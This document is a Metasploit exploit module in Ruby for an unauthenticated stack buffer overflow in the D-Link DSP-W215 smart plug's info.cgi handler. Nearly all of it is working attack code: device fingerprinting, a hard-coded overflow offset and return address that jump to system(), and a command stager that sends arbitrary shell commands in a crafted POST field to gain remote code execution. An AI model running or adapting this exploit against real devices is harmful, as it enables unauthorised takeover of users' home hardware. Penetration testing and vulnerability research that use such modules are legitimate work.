D-Link info.cgi POST Request Buffer Overflow

`##  
# This module requires Metasploit: http//metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::CmdStager  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'D-Link info.cgi POST Request Buffer Overflow',  
'Description' => %q{  
This module exploits an anonymous remote code execution vulnerability on different D-Link  
devices. The vulnerability is an stack based buffer overflow in the my_cgi.cgi component,  
when handling specially crafted POST HTTP requests addresses to the /common/info.cgi  
handler. This module has been successfully tested on D-Link DSP-W215 in an emulated  
environment.  
},  
'Author' =>  
[  
'Craig Heffner', # vulnerability discovery and initial PoC  
'Michael Messner <devnull[at]s3cur1ty.de>', # Metasploit module  
],  
'License' => MSF_LICENSE,  
'Platform' => 'linux',  
'Arch' => ARCH_MIPSBE,  
'References' =>  
[  
['OSVDB', '108249'],  
['URL', 'http://www.devttys0.com/2014/05/hacking-the-dspw215-again/'] # blog post from Craig including PoC  
],  
'Targets' =>  
[  
#  
# Automatic targeting via fingerprinting  
#  
[ 'Automatic Targeting', { 'auto' => true } ],  
[ 'D-Link DSP-W215 - v1.02',  
{  
'Offset' => 477472,  
'Ret' => 0x405cec # jump to system - my_cgi.cgi  
}  
]  
],  
'DisclosureDate' => 'May 22 2014',  
'DefaultTarget' => 0))  
  
deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR')  
end  
  
def check  
begin  
res = send_request_cgi({  
'uri' => "/common/info.cgi",  
'method' => 'GET'  
})  
  
if res && [200, 301, 302].include?(res.code)  
if res.body =~ /DSP-W215A1/ && res.body =~ /1.02/  
@my_target = targets[1] if target['auto']  
return Exploit::CheckCode::Appears  
end  
  
return Exploit::CheckCode::Detected  
end  
  
rescue ::Rex::ConnectionError  
return Exploit::CheckCode::Safe  
end  
  
Exploit::CheckCode::Unknown  
end  
  
def exploit  
print_status("#{peer} - Trying to access the vulnerable URL...")  
  
@my_target = target  
check_code = check  
  
unless check_code == Exploit::CheckCode::Detected || check_code == Exploit::CheckCode::Appears  
fail_with(Failure::NoTarget, "#{peer} - Failed to access the vulnerable URL")  
end  
  
if @my_target.nil? || @my_target['auto']  
fail_with(Failure::NoTarget, "#{peer} - Failed to auto detect, try setting a manual target...")  
end  
  
print_status("#{peer} - Exploiting #{@my_target.name}...")  
execute_cmdstager(  
:flavor => :echo,  
:linemax => 185  
)  
end  
  
def prepare_shellcode(cmd)  
buf = rand_text_alpha_upper(@my_target['Offset']) # Stack filler  
buf << [@my_target.ret].pack("N") # Overwrite $ra -> jump to system  
  
# la $t9, system  
# la $s1, 0x440000  
# jalr $t9 ; system  
# addiu $a0, $sp, 0x28 # our command  
  
buf << rand_text_alpha_upper(40) # Command to execute must be at $sp+0x28  
buf << cmd # Command to execute  
buf << "\x00" # NULL terminate the command  
end  
  
def execute_command(cmd, opts)  
shellcode = prepare_shellcode(cmd)  
  
begin  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => "/common/info.cgi",  
'encode_params' => false,  
'vars_post' => {  
'storage_path' => shellcode,  
}  
}, 5)  
return res  
rescue ::Rex::ConnectionError  
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")  
end  
end  
end  
`